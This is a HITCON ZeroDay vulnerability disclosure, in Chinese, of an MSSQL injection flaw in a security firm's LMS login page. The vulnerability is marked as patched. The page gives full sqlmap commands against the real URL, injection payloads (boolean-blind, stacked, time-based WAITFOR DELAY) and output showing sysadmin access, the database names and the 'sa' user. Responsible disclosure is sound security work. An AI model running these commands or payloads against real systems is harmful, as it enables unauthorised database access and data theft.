華岡保全股份有限公司 MSSQL注入漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-01048
  •  發信 Vendor: 華岡保全股份有限公司
  • Title: 華岡保全股份有限公司 MSSQL注入漏洞
  • Introduction: MSSQL注入漏洞

處理狀態

目前狀態

公開
Last Update : 2026/11/01
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/08/18 21:53:35 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/18 22:02:40 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/21 16:15:46 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 17:01:50 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 17:01:50 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/31 17:01:50 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/10/14 17:28:41 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/10/27 08:52:02 : 修補中 (由 組織帳號 更新此狀態)
  • 2026/10/27 22:16:17 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/10/28 04:22:55 : 確認已修補 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/11/01 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://smartcity.hwakang.com.tw/LMS/Login.php

敘述

時間.堆疊.布林注入

偵查
sqlmap -u "https://smartcity.hwakang.com.tw/LMS/php/Login_Sql.php?id=a234123234a%40gmail.com&password=123456" \
-p "id,password" \
--batch \
--random-agent \
--threads 3 \
--tamper space2comment \
--level 3 \
--risk 2

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 205 HTTP(s) requests:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: [email protected]' AND 9047=(SELECT (CASE WHEN (9047=9047) THEN 9047 ELSE (SELECT 5782 UNION SELECT 9529) END))-- UaUT&password=123456

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: [email protected]';WAITFOR DELAY '0:0:5'--&password=123456

Type: time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF)
Payload: [email protected]' WAITFOR DELAY '0:0:5'-- tucs&password=123456

圖片

堆疊注入查DBA(屬於管理員)
sqlmap -u "https://smartcity.hwakang.com.tw/LMS/php/Login_Sql.php?id=a234123234a%40gmail.com&password=123456" \
-p "id" \
--dbms=mssql \
--technique=S \
--sql-query "SELECT IS_SRVROLEMEMBER('sysadmin')" \
--batch \
--random-agent \
--tamper space2comment

圖片

時間查庫名
available databases [5]:
[] [master]
[
] LMS
[] model
[
] msdb
[*] tempdb

sqlmap -u "https://smartcity.hwakang.com.tw/LMS/php/Login_Sql.php?id=a234123234a%40gmail.com&password=123456" \
-p "id" \
--dbms=mssql \
--dbs \
--batch \
--random-agent \
--tamper space2comment \
--technique=T \
--threads=1

圖片

查用戶名=sa
SELECT SYSTEM_USER: 'sa'

sqlmap -u "https://smartcity.hwakang.com.tw/LMS/php/Login_Sql.php?id=a234123234a%40gmail.com&password=123456" \
-p "id" \
--dbms=mssql \
--sql-query "SELECT SYSTEM_USER" \
--batch \
--random-agent \
--tamper space2comment \
--technique=T \
--time-sec=5 \
--threads=1

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;